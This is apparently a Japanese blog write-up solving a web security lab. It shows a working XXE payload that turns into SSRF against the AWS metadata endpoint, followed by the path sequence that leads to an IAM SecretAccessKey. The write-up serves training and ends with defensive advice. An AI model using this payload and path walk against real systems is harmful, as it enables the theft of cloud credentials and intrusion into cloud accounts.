Shikata Ga Nai

Private? There is no such things.

LAB: XXEを使ったSSRFによるAWSメタデータの取得とIAMキーの奪取

Hello there, ('ω')ノ

🎯 目的

このラボでは、XXE脆弱性を利用して、AWSのメタデータエンドポイント http://169.254.169.254/ にアクセスし、IAMユーザーのSecretAccessKeyを取得することで問題を解決します。


🧪 手順

① Burpで「Check stock」リクエストをキャプチャ

  • 任意の商品ページを開き、「Check stock」をクリック。
  • POSTリクエストをBurp Suiteでインターセプト。

② XXEペイロードの挿入

リクエストのXMLに以下のようにエンティティ定義を追加します:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>
  • レスポンスに Invalid product ID: latest のような文字列が返れば成功です。

③ メタデータエンドポイントを辿る

次のようにURLを変えて、徐々に深くアクセスしていきます:

  1. http://169.254.169.254/latest/
  2. http://169.254.169.254/latest/meta-data/
  3. http://169.254.169.254/latest/meta-data/iam/
  4. http://169.254.169.254/latest/meta-data/iam/security-credentials/
  5. http://169.254.169.254/latest/meta-data/iam/security-credentials/admin

④ SecretAccessKeyの取得

最後のリクエストで、以下のようなレスポンスが得られます:

{
  "Code": "Success",
  "LastUpdated": "...",
  "Type": "AWS-HMAC",
  "AccessKeyId": "...",
  "SecretAccessKey": "SENSITIVE_KEY_VALUE",
  ...
}

この SecretAccessKey の値をラボに入力して完了です。


💡 コツ

  • SSRFでアクセスできる特殊なIP: 169.254.169.254
  • AWS EC2環境ではこのIPからインスタンスの設定や資格情報が取得可能
  • レスポンスを確認しながら一段階ずつディレクトリを探索するのが鍵

☠️ 現実世界でも、クラウド環境でのSSRF+XXEは重大な被害を引き起こす可能性があるため、適切な入力検証と外部エンティティの無効化が不可欠です。

Best regards, (^^ゞ